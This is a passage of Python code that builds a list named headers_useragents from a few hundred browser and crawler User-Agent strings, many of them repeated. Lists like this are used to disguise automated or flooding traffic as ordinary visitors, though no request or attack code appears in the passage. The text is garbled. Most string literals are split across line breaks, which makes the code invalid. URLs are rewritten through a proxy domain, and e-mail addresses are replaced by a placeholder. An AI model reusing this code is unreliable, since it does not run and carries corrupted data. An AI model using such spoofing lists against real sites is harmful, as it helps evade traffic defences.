headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83;
http://www.80legs.com/webcrawler.html) Gecko/2008032620')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
AddSugarSpiderBot www.idealobserver.com')
headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0;
+http://www.anyapex.com/bot.html)')
headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0
compatible; +http://www.become.com/site_owners.html)')
headers_useragents.append('BillyBobBot/1.0
(+http://www.billybobbot.com/crawler/)')
headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0;
+http://www.bing.com/bingbot.htm)')
headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775;
i686-pc-linux-gnu)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-
[email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)
AppleWebKit/420+ (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729; Avant Browser)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3
Safari/532.2')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
ChromePlus/1.5.1.1')
headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C
4.7.1; text)')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)
Gecko/20100101 Thunderbird/24.4.0')
headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0;
+http://www.abilogic.com/bot.html)')
headers_useragents.append('SiteBar/3.3.8 (Bookmark Server;
http://sitebar.org/)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0;
Macintosh)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
{1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
acc=baadshah; acc=none; freenet DSL 1.1; (none))')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)
AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)
Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1;
Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
